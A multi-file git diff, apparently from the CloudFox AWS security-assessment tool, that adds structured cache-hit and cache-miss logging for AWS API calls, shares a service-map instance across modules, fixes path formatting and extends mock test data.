Options: &openSearchTypes.ClusterConfig{
DedicatedMasterCount: aws.Int32(3),
DedicatedMasterEnabled: aws.Bool(true),
InstanceCount: aws.Int32(3),
WarmCount: aws.Int32(3),
WarmEnabled: aws.Bool(true),
},
},
DomainEndpointOptions: &openSearchTypes.DomainEndpointOptionsStatus{
Options: &openSearchTypes.DomainEndpointOptions{
EnforceHTTPS: aws.Bool(true),
},
},
AdvancedSecurityOptions: &openSearchTypes.AdvancedSecurityOptionsStatus{
Options: &openSearchTypes.AdvancedSecurityOptions{
Enabled: aws.Bool(false),
},
},
},
}
return &opensearch.DescribeDomainConfigOutput{
DomainConfig: domainConfigMap[*input.DomainName],
}, nil
}
func (m *MockedOpenSearchClient) DescribeDomain(ctx context.Context, input *opensearch.DescribeDomainInput, options ...func(*opensearch.Options)) (*opensearch.DescribeDomainOutput, error) {
return &opensearch.DescribeDomainOutput{
DomainStatus: &openSearchTypes.DomainStatus{
DomainName: aws.String("domain1"),
Endpoint: aws.String("https://domain1.us-east-1.es.amazonaws.com"),
domainStatusMap := map[string]*openSearchTypes.DomainStatus{
"domain1": {
DomainName: aws.String("domain1"),
Endpoint: aws.String("https://domain1.us-east-1.es.amazonaws.com"),
ARN: aws.String("arn:aws:es:us-east-1:123456789012:domain/domain1"),
AccessPolicies: aws.String(`{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":[\"es:ESHttpGet\",\"es:ESHttpHead\",\"es:ESHttpPost\"],\"Resource\":\"*\",\"Condition\":{\"IpAddress\":{\"aws:SourceIp\":\"192.168.1.100/32\"}}}]}`),
},
"domain2": {
DomainName: aws.String("domain2"),
Endpoint: aws.String("https://domain2.us-east-1.es.amazonaws.com"),
ARN: aws.String("arn:aws:es:us-east-1:123456789012:domain/domain2"),
AccessPolicies: aws.String(`{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":[\"es:ESHttpGet\",\"es:ESHttpHead\",\"es:ESHttpPost\"],\"Resource\":\"*\"}]}`),
},
}
return &opensearch.DescribeDomainOutput{
DomainStatus: domainStatusMap[*input.DomainName],
}, nil
}
+21
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/organizations"
orgTypes "github.com/aws/aws-sdk-go-v2/service/organizations/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type OrganizationsClientInterface interface {
@@ -28,8 +29,18 @@ func CachedOrganizationsListAccounts(client OrganizationsClientInterface, accoun
cacheKey := fmt.Sprintf("%s-organizations-ListAccounts", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "organizations:ListAccounts",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]orgTypes.Account), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "organizations:ListAccounts",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
for {
ListAccounts, err := client.ListAccounts(
@@ -62,8 +73,18 @@ func CachedOrganizationsDescribeOrganization(client OrganizationsClientInterface
cacheKey := fmt.Sprintf("%s-organizations-DescribeOrganization", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "organizations:DescribeOrganization",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.(*orgTypes.Organization), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "organizations:DescribeOrganization",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
DescribeOrganization, err := client.DescribeOrganization(
context.TODO(),
+25
View File
@@ -8,6 +8,7 @@ import (
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/rds"
rdsTypes "github.com/aws/aws-sdk-go-v2/service/rds/types"
"github.com/sirupsen/logrus"
"github.com/patrickmn/go-cache"
)
@@ -29,8 +30,20 @@ func CachedRDSDescribeDBInstances(client RDSClientInterface, accountID string, r
cacheKey := fmt.Sprintf("%s-rds-DescribeDBInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "rds:DescribeDBInstances",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]rdsTypes.DBInstance), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "rds:DescribeDBInstances",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeDBInstances, err := client.DescribeDBInstances(
context.TODO(),
@@ -65,8 +78,20 @@ func CachedRDSDescribeDBClusters(client RDSClientInterface, accountID string, re
cacheKey := fmt.Sprintf("%s-rds-DescribeDBClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "rds:DescribeDBClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]rdsTypes.DBCluster), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "rds:DescribeDBClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeDBClusters, err := client.DescribeDBClusters(
context.TODO(),
+8
View File
@@ -21,6 +21,10 @@ func (m *MockedRDSClient) DescribeDBInstances(ctx context.Context, input *rds.De
EngineVersion: aws.String("13.3"),
InstanceCreateTime: aws.Time(time.Now()),
MasterUsername: aws.String("postgres"),
Endpoint: &rdsTypes.Endpoint{
Address: aws.String("db1-instances-1.blah.us-west-2.rds.amazonaws.com"),
Port: aws.Int32(5432),
},
},
{
DBInstanceIdentifier: aws.String("db2"),
@@ -28,6 +32,10 @@ func (m *MockedRDSClient) DescribeDBInstances(ctx context.Context, input *rds.De
EngineVersion: aws.String("13.3"),
InstanceCreateTime: aws.Time(time.Now()),
MasterUsername: aws.String("postgres"),
Endpoint: &rdsTypes.Endpoint{
Address: aws.String("db2-instances-1.blah.us-west-2.rds.amazonaws.com"),
Port: aws.Int32(5432),
},
},
},
}, nil
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/redshift"
redshiftTypes "github.com/aws/aws-sdk-go-v2/service/redshift/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSRedShiftClientInterface interface {
@@ -26,8 +27,20 @@ func CachedRedShiftDescribeClusters(client AWSRedShiftClientInterface, accountID
cacheKey := fmt.Sprintf("%s-redshift-DescribeClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "redshift:DescribeClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]redshiftTypes.Cluster), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "redshift:DescribeClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeClusters, err := client.DescribeClusters(
context.TODO(),
+23
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/route53"
route53types "github.com/aws/aws-sdk-go-v2/service/route53/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSRoute53ClientInterface interface {
@@ -28,8 +29,18 @@ func CachedRoute53ListHostedZones(client AWSRoute53ClientInterface, accountID st
cacheKey := fmt.Sprintf("%s-route53-ListHostedZones", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "route53:ListHostedZones",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]route53types.HostedZone), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "route53:ListHostedZones",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
for {
ListHostedZones, err := client.ListHostedZones(
@@ -63,8 +74,20 @@ func CachedRoute53ListResourceRecordSets(client AWSRoute53ClientInterface, accou
cacheKey := fmt.Sprintf("%s-route53-ListResourceRecordSets-%s", accountID, hostedZoneID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "route53:ListResourceRecordSets",
"account": accountID,
"hostedZoneId": hostedZoneID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]route53types.ResourceRecordSet), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "route53:ListResourceRecordSets",
"account": accountID,
"hostedZoneId": hostedZoneID,
"cache": "miss",
}).Info("AWS API call")
for {
ListResourceRecordSets, err := client.ListResourceRecordSets(
+51 -4
View File
@@ -10,6 +10,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/s3"
s3Types "github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSS3ClientInterface interface {
@@ -30,10 +31,19 @@ func CachedListBuckets(S3Client AWSS3ClientInterface, accountID string) ([]s3Typ
cacheKey := fmt.Sprintf("%s-s3-ListBuckets", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for ListBuckets data")
sharedLogger.WithFields(logrus.Fields{
"api": "s3:ListBuckets",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]s3Types.Bucket), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "s3:ListBuckets",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
ListBuckets, err := S3Client.ListBuckets(
context.TODO(),
&s3.ListBucketsInput{},
@@ -52,9 +62,20 @@ func CachedGetBucketLocation(S3Client AWSS3ClientInterface, accountID string, bu
cacheKey := fmt.Sprintf("%s-s3-GetBucketLocation-%s", accountID, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetBucketLocation data")
sharedLogger.WithFields(logrus.Fields{
"api": "s3:GetBucketLocation",
"account": accountID,
"bucket": bucketName,
"cache": "hit",
}).Info("AWS API call")
return cached.(string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "s3:GetBucketLocation",
"account": accountID,
"bucket": bucketName,
"cache": "miss",
}).Info("AWS API call")
GetBucketRegion, err := S3Client.GetBucketLocation(
context.TODO(),
&s3.GetBucketLocationInput{
@@ -76,9 +97,22 @@ func CachedGetBucketPolicy(S3Client AWSS3ClientInterface, accountID string, r st
cacheKey := fmt.Sprintf("%s-s3-GetBucketPolicy-%s-%s", accountID, r, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetBucketPolicy data")
sharedLogger.WithFields(logrus.Fields{
"api": "s3:GetBucketPolicy",
"account": accountID,
"region": r,
"bucket": bucketName,
"cache": "hit",
}).Info("AWS API call")
return cached.(string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "s3:GetBucketPolicy",
"account": accountID,
"region": r,
"bucket": bucketName,
"cache": "miss",
}).Info("AWS API call")
BucketPolicyObject, err := S3Client.GetBucketPolicy(
context.TODO(),
@@ -103,9 +137,22 @@ func CachedGetPublicAccessBlock(S3Client AWSS3ClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-s3-GetPublicAccessBlock-%s-%s", accountID, r, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetPublicAccessBlock data")
sharedLogger.WithFields(logrus.Fields{
"api": "s3:GetPublicAccessBlock",
"account": accountID,
"region": r,
"bucket": bucketName,
"cache": "hit",
}).Info("AWS API call")
return cached.(*s3Types.PublicAccessBlockConfiguration), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "s3:GetPublicAccessBlock",
"account": accountID,
"region": r,
"bucket": bucketName,
"cache": "miss",
}).Info("AWS API call")
PublicAccessBlock, err := S3Client.GetPublicAccessBlock(
context.TODO(),
+27
View File
@@ -11,6 +11,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/secretsmanager"
secretsmanagerTypes "github.com/aws/aws-sdk-go-v2/service/secretsmanager/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type SecretsManagerClientInterface interface {
@@ -30,8 +31,20 @@ func CachedSecretsManagerListSecrets(client SecretsManagerClientInterface, accou
cacheKey := fmt.Sprintf("%s-secretsmanager-ListSecrets-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "secretsmanager:ListSecrets",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]secretsmanagerTypes.SecretListEntry), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "secretsmanager:ListSecrets",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListSecrets, err := client.ListSecrets(
context.TODO(),
@@ -66,8 +79,22 @@ func CachedSecretsManagerGetResourcePolicy(client SecretsManagerClientInterface,
cacheKey := fmt.Sprintf("%s-secretsmanager-GetResourcePolicy-%s-%s", accountID, region, secretId)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "secretsmanager:GetResourcePolicy",
"account": accountID,
"region": region,
"secretId": secretId,
"cache": "hit",
}).Info("AWS API call")
return cached.(policy.Policy), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "secretsmanager:GetResourcePolicy",
"account": accountID,
"region": region,
"secretId": secretId,
"cache": "miss",
}).Info("AWS API call")
GetResourcePolicy, err := client.GetResourcePolicy(
context.TODO(),
&secretsmanager.GetResourcePolicyInput{
+57 -4
View File
@@ -8,6 +8,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/sns"
snsTypes "github.com/aws/aws-sdk-go-v2/service/sns/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSSNSClientInterface interface {
@@ -29,10 +30,22 @@ func CachedSNSListTopics(SNSClient AWSSNSClientInterface, accountID string, regi
cacheKey := "sns-ListTopics-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached SNS topics data")
sharedLogger.WithFields(logrus.Fields{
"api": "sns:ListTopics",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "sns:ListTopics",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListTopics, err := SNSClient.ListTopics(
context.TODO(),
@@ -72,10 +85,22 @@ func CachedSNSListSubscriptions(SNSClient AWSSNSClientInterface, accountID strin
cacheKey := "sns-ListSubscriptions-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached SNS subscriptions data")
sharedLogger.WithFields(logrus.Fields{
"api": "sns:ListSubscriptions",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "sns:ListSubscriptions",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListSubscriptions, err := SNSClient.ListSubscriptions(
context.TODO(),
@@ -115,10 +140,24 @@ func CachedSNSListSubscriptionsByTopic(SNSClient AWSSNSClientInterface, accountI
cacheKey := "sns-ListSubscriptionsByTopic-" + accountID + "-" + region + "-" + topicArn
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached SNS subscriptions data")
sharedLogger.WithFields(logrus.Fields{
"api": "sns:ListSubscriptionsByTopic",
"account": accountID,
"region": region,
"topicArn": topicArn,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "sns:ListSubscriptionsByTopic",
"account": accountID,
"region": region,
"topicArn": topicArn,
"cache": "miss",
}).Info("AWS API call")
for {
ListSubscriptionsByTopic, err := SNSClient.ListSubscriptionsByTopic(
context.TODO(),
@@ -157,10 +196,24 @@ func CachedSNSGetTopicAttributes(SNSClient AWSSNSClientInterface, accountID stri
cacheKey := "sns-GetTopicAttributes-" + accountID + "-" + region + "-" + topicArn
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached SNS topic attributes data")
sharedLogger.WithFields(logrus.Fields{
"api": "sns:GetTopicAttributes",
"account": accountID,
"region": region,
"topicArn": topicArn,
"cache": "hit",
}).Info("AWS API call")
return cached.(map[string]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "sns:GetTopicAttributes",
"account": accountID,
"region": region,
"topicArn": topicArn,
"cache": "miss",
}).Info("AWS API call")
GetTopicAttributes, err := SNSClient.GetTopicAttributes(
context.TODO(),
&sns.GetTopicAttributesInput{
+13 -1
View File
@@ -7,6 +7,7 @@ import (
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSSQSClientInterface interface {
@@ -23,9 +24,20 @@ func CachedSQSListQueues(SQSClient AWSSQSClientInterface, accountID string, regi
cacheKey := "sqs-ListQueues-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached SQS queues data")
sharedLogger.WithFields(logrus.Fields{
"api": "sqs:ListQueues",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "sqs:ListQueues",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListQueues, err := SQSClient.ListQueues(
+13 -1
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/ssm"
"github.com/aws/aws-sdk-go-v2/service/ssm/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSSSMClientInterface interface {
@@ -26,9 +27,20 @@ func CachedSSMDescribeParameters(SSMClient AWSSSMClientInterface, accountID stri
cacheKey := fmt.Sprintf("%s-ssm-DescribeParameters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached SSM parameters data")
sharedLogger.WithFields(logrus.Fields{
"api": "ssm:DescribeParameters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]types.ParameterMetadata), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ssm:DescribeParameters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeParameters, err := SSMClient.DescribeParameters(
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/sfn"
sfnTypes "github.com/aws/aws-sdk-go-v2/service/sfn/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type StepFunctionsClientInterface interface {
@@ -25,8 +26,20 @@ func CachedStepFunctionsListStateMachines(client StepFunctionsClientInterface, a
cacheKey := fmt.Sprintf("%s-stepfunctions-ListStateMachines-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "states:ListStateMachines",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]sfnTypes.StateMachineListItem), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "states:ListStateMachines",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListStateMachines, err := client.ListStateMachines(
context.TODO(),
+9 -4
View File
@@ -30,6 +30,7 @@ type SecretsModule struct {
WrapTable bool
AWSOutputType string
AWSTableCols string
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Secrets []Secret
@@ -192,10 +193,14 @@ func (m *SecretsModule) Receiver(receiver chan Secret, receiverDone chan bool) {
func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
res, err := servicemap.IsServiceInRegion("secrets-manager", r)
if err != nil {
m.modLog.Error(err)
}
@@ -204,7 +209,7 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
wg.Add(1)
go m.getSecretsManagerSecretsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("ssm", r)
res, err = servicemap.IsServiceInRegion("systems-manager", r)
if err != nil {
m.modLog.Error(err)
}
+8 -8
View File
@@ -100,19 +100,19 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
if err != nil {
log.Fatal("Could not get homedir")
}
edgesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
edgesPath = fmt.Sprintf("%s/Library/Application Support/com.nccgroup.principalmapper/%s/graph/edges.json", dir, aws.ToString(accountId))
nodesPath = fmt.Sprintf("%s/Library/Application Support/com.nccgroup.principalmapper/%s/graph/nodes.json", dir, aws.ToString(accountId))
} else if runtime.GOOS == "linux" || runtime.GOOS == "freebsd" || runtime.GOOS == "openbsd" {
xdg, ok := os.LookupEnv("XDG_DATA_HOME")
if ok {
edgesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/nodes.json")
edgesPath = fmt.Sprintf("%s%s/graph/edges.json", xdg, aws.ToString(accountId))
nodesPath = fmt.Sprintf("%s%s/graph/nodes.json", xdg, aws.ToString(accountId))
} else {
dir, err := os.UserHomeDir()
if err == nil {
edgesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
edgesPath = fmt.Sprintf("%s/.local/share/principalmapper/%s/graph/edges.json", dir, aws.ToString(accountId))
nodesPath = fmt.Sprintf("%s/.local/share/principalmapper/%s/graph/nodes.json", dir, aws.ToString(accountId))
} else {
log.Fatal("Could not homedir.")
}
@@ -123,8 +123,8 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
if err != nil {
log.Fatal("Could not get userconfigdir")
}
edgesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\edges.json")
nodesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\nodes.json")
edgesPath = fmt.Sprintf("%s\\principalmapper%s\\graph\\edges.json", dir, aws.ToString(accountId))
nodesPath = fmt.Sprintf("%s\\principalmapper%s\\graph\\nodes.json", dir, aws.ToString(accountId))
}
+7 -2
View File
@@ -34,6 +34,7 @@ type SNSModule struct {
Goroutines int
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Topics []SNSTopic
@@ -192,8 +193,12 @@ func (m *SNSModule) PrintSNS(outputDirectory string, verbosity int) {
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("sns", r)
if err != nil {
+7 -2
View File
@@ -36,6 +36,7 @@ type SQSModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Queues []Queue
@@ -194,8 +195,12 @@ func (m *SQSModule) PrintSQS(outputDirectory string, verbosity int) {
func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("sqs", r)
if err != nil {
+8 -4
View File
@@ -3,7 +3,6 @@ package aws
import (
"context"
"fmt"
"log"
"path/filepath"
"sort"
"strconv"
@@ -46,6 +45,7 @@ type WorkloadsModule struct {
iamSimClient IamSimulatorModule
InstanceProfileToRolesMap map[string][]iamTypes.Role
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Workloads []Workload
@@ -271,8 +271,12 @@ func (m *WorkloadsModule) Receiver(receiver chan Workload, receiverDone chan boo
func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, _ := servicemap.IsServiceInRegion("ec2", r)
@@ -345,7 +349,7 @@ func (m *WorkloadsModule) getEC2WorkloadsPerRegion(r string, wg *sync.WaitGroup,
// Describe the IAM instance profile
profileOutput, err := sdk.CachedIamGetInstanceProfile(m.IAMClient, aws.ToString(m.Caller.Account), profileName)
if err != nil {
log.Printf("failed to get instance profile for %s, %v", profileArn, err)
m.modLog.Errorf("failed to get instance profile for %s, %v", profileArn, err)
continue
}
+243 -118
View File
@@ -2,11 +2,13 @@ package cli
import (
"encoding/gob"
"errors"
"fmt"
"log"
"os"
"path/filepath"
"github.com/aws/aws-sdk-go-v2/service/kms"
"github.com/BishopFox/cloudfox/aws"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
@@ -60,6 +62,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/ssm"
"github.com/aws/smithy-go/ptr"
"github.com/bishopfox/awsservicemap"
"github.com/bishopfox/knownawsaccountslookup"
"github.com/dominikbraun/graph"
"github.com/fatih/color"
@@ -138,9 +141,10 @@ var (
PostRun: awsPostRun,
}
CapeAdminOnly bool
CapeJobName string
CapeCommand = &cobra.Command{
CapeAdminOnly bool
CapeArnIgnoreList string
CapeJobName string
CapeCommand = &cobra.Command{
Use: "cape",
Aliases: []string{"CAPE"},
Short: "Cross-Account Privilege Escalation Route finder. Needs to be run with multiple profiles using -l or -a flag. Needs pmapper data to be present",
@@ -263,10 +267,11 @@ var (
PostRun: awsPostRun,
}
SimulatorResource string
SimulatorAction string
SimulatorPrincipal string
IamSimulatorCommand = &cobra.Command{
SimulatorResource string
SimulatorAction string
SimulatorPrincipal string
IamSimulatorAdminCheckOnly bool
IamSimulatorCommand = &cobra.Command{
Use: "iam-simulator",
Aliases: []string{"iamsimulator", "simulator"},
Short: "Wrapper around the AWS IAM Simulate Principal Policy command",
@@ -405,7 +410,8 @@ var (
PostRun: awsPostRun,
}
ResourceTrustsCommand = &cobra.Command{
ResourceTrustsIncludeKms bool
ResourceTrustsCommand = &cobra.Command{
Use: "resource-trusts",
Aliases: []string{"resourcetrusts", "resourcetrust"},
Short: "Enumerate all resource trusts",
@@ -519,7 +525,7 @@ var (
func initAWSProfiles() {
// Ensure only one profile setting is chosen
if AWSProfile != "" && AWSProfilesList != "" || AWSProfile != "" && AWSAllProfiles || AWSProfilesList != "" && AWSAllProfiles {
log.Fatalf("[-] Error specifying AWS profiles. Choose only one of -p/--profile, -a/--all-profiles, -l/--profiles-list")
internal.TxtLog.Fatalf("[-] Error specifying AWS profiles. Choose only one of -p/--profile, -a/--all-profiles, -l/--profiles-list")
} else if AWSProfile != "" {
AWSProfiles = append(AWSProfiles, AWSProfile)
} else if AWSProfilesList != "" {
@@ -564,7 +570,7 @@ func awsPreRun(cmd *cobra.Command, args []string) {
cacheDirectory := filepath.Join(AWSOutputDirectory, "cached-data", "aws", ptr.ToString(caller.Account))
err = internal.LoadCacheFromGobFiles(cacheDirectory)
if err != nil {
if err == internal.ErrDirectoryDoesNotExist {
if errors.Is(err, internal.ErrDirectoryDoesNotExist) {
fmt.Printf("[%s][%s] No cache directory for %s. Skipping loading cached data.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), cyan(profile), ptr.ToString(caller.Account))
} else {
fmt.Printf("[%s][%s] No cache data for %s. Error: %v\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), cyan(profile), ptr.ToString(caller.Account), err)
@@ -606,11 +612,11 @@ func awsPostRun(cmd *cobra.Command, args []string) {
outputDirectory := filepath.Join(AWSOutputDirectory, "cached-data", "aws", ptr.ToString(caller.Account))
err = internal.SaveCacheToGobFiles(outputDirectory, *caller.Account)
if err != nil {
log.Fatalf("failed to save cache: %v", err)
internal.TxtLog.Fatalf("failed to save cache: %v", err)
}
err = internal.SaveCacheToFiles(outputDirectory, *caller.Account)
if err != nil {
log.Fatalf("failed to save cache: %v", err)
internal.TxtLog.Fatalf("failed to save cache: %v", err)
}
